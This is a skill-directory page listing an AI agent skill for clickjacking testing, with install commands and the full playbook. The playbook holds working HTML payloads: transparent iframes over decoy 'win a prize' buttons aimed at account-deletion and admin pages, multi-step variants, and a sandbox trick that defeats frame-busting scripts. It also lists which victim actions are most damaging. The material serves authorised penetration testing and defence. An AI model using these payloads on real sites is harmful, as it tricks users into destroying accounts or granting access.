Skip to main content
skill CX Codex

clickjacking — Claude Code skill: framing checks and UI redress

A clickjacking playbook: find out whether a page can be framed and whether an invisible overlay can trigger a sensitive action.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add yaklang/hack-skills --skill clickjacking -a claude-code
Open on GitHub

What clickjacking does

The skill treats clickjacking as a UI redress attack: the target page loads in a transparent iframe on top of the attacker's page, so the victim sees one button and clicks another. It ships HTML PoC templates, from a single click to multi-step flows with a confirmation dialog and drag-and-drop between iframes.

Detection gets its own section. You get the header values that matter for X-Frame-Options and the frame-ancestors directive in CSP, plus the reason the latter overrides the former in modern browsers. JavaScript frame-busting is covered too, along with the sandbox attribute trick that skips allow-top-navigation, the deprecated ALLOW-FROM behaviour, and double-framing through a same-origin page that has no XFO.

Then comes the target list where one click costs the most: account deletion, password change, admin panel actions, payment confirmation, the OAuth Allow button, disabling two-factor authentication. This is a pentest tool, so point it at your own app or at a target you have written permission to test — running it against someone else's site is not a grey area.

What it helps with

  • check whether a sensitive page loads inside a third-party iframe
  • tell apart what actually protects a page: X-Frame-Options or CSP frame-ancestors
  • build a single-click PoC for a vulnerability report
  • bypass a JavaScript frame-busting script with the sandbox attribute
  • assess the risk of multi-step actions that ask for confirmation

Example prompts for the agent

  • check /account/settings for clickjacking: look at X-Frame-Options and CSP frame-ancestors
  • build an HTML PoC that frames /admin/action and overlays a transparent iframe on a button
  • the page has a frame-busting script — show me how to bypass it with sandbox

How to install clickjacking

1Skills CLI (Vercel)

npx skills add yaklang/hack-skills --skill clickjacking -a claude-code

2Manually: put the files in place

~/.claude/skills/clickjacking/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/clickjacking/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about clickjacking

How do I install clickjacking in Claude?

Run npx skills add yaklang/hack-skills --skill clickjacking -a claude-code. The skill lands in ~/.claude/skills/clickjacking/SKILL.md.

What does the clickjacking skill do?

It gives you a UI redress testing method: framing detection from response headers, PoC templates, frame-busting bypasses, and a shortlist of actions worth testing first.

How is CSP frame-ancestors different from X-Frame-Options?

In modern browsers the frame-ancestors directive overrides the X-Frame-Options header. If the directive is missing while XFO is set, the protection may not behave the way you expect.

Source text

SKILL.md · MIT
---
name: clickjacking
description: >-
  Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.
---

# SKILL: Clickjacking — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.

## 1. CORE CONCEPT

Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.

```html
<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
```

---

## 2. DETECTION — IS THE PAGE FRAMEABLE?

### Check X-Frame-Options Header

```
X-Frame-Options: DENY           → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent)                  → frameable! (vulnerable)
```

### Check CSP frame-ancestors

```
Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
Content-Security-Policy: frame-ancestors 'self'         → same-origin only
Content-Security-Policy: frame-ancestors https://a.com  → specific origin
(directive absent)                                       → frameable
```

**CSP frame-ancestors supersedes X-Frame-Options** in modern browsers.

### Quick PoC Test

```html
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
```

If the page loads in the iframe → frameable → potentially vulnerable.

### JavaScript Frame Detection (from target page source)

```javascript
// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}
```

If this code is present but not using CSP `frame-ancestors`, it can often be bypassed.

---

## 3. PROOF OF CONCEPT TEMPLATES

### Basic Single-Click

```html
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
```

### Multi-Step Clickjacking

For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):

```html
<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
```

Reposition iframe for each step to align the transparent button with the decoy.

### Drag-and-Drop Clickjacking

Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.

---

## 4. BYPASS TECHNIQUES

### Frame-Busting Script Bypass

Some pages use JavaScript frame-busting:
```javascript
if (top !== self) { top.location = self.location; }
```

**Bypass with sandbox attribute**:
```html
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->
```

### X-Frame-Options ALLOW-FROM Bypass

`ALLOW-FROM` is not supported in Chrome/Safari. If the server relies solely on `ALLOW-FROM`, modern browsers ignore it → page is frameable.

### Double-Framing

If `X-Frame-Options: SAMEORIGIN` is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.

---

## 5. HIGH-IMPACT TARGETS

```text
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
```

---

## 6. TESTING CHECKLIST

```
□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers
```

© yaklang · MIT · yaklang/hack-skills

Similar skills

All skills for Security →

From the same set93

active-directory-certificate-services This skill maps misconfigured AD CS and ESC1–ESC13 paths. Use it to review privilege escalation, certificate authentication, and certificate-based persistence in Active Directory. CX Codex +1 3,600installs saml-sso-assertion-attacks A playbook for SAML SSO testing: which XML nodes are signed, how Audience and ACS checks behave, and where IdP/SP trust breaks down. CX Codex +1 3,600installs active-directory-kerberos-attacks Kerberos attack playbook for Active Directory covering AS-REP roasting, Kerberoasting, ticket forging, and delegation abuse. CX Codex +1 3,600installs http2-specific-attacks A skill for assessing HTTP/2-specific attack paths such as h2c, pseudo-headers, HPACK, and multiplexing. Use it when an authorised target supports HTTP/2. CX Codex +1 3,600installs jndi-injection A playbook for JNDI injection: lookup abuse over RMI and LDAP, JDK version limits, and post-8u191 bypasses. Useful when testing Java apps for Log4Shell. CX Codex +1 3,600installs active-directory-acl-abuse A playbook for abusing misconfigured Active Directory permissions: dangerous ACEs, DCSync, shadow credentials, LAPS and BloodHound paths. CX Codex +1 3,600installs csv-formula-injection A skill for testing how CSV exports and spreadsheets handle formulas coming from user fields. Useful when reports or exports reach a spreadsheet. CX Codex +1 3,600installs expression-language-injection An Expression Language injection attack playbook for Java frameworks. Helps security testers detect and exploit vulnerabilities across SpEL, OGNL, and Java EL. CX Codex +1 3,600installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor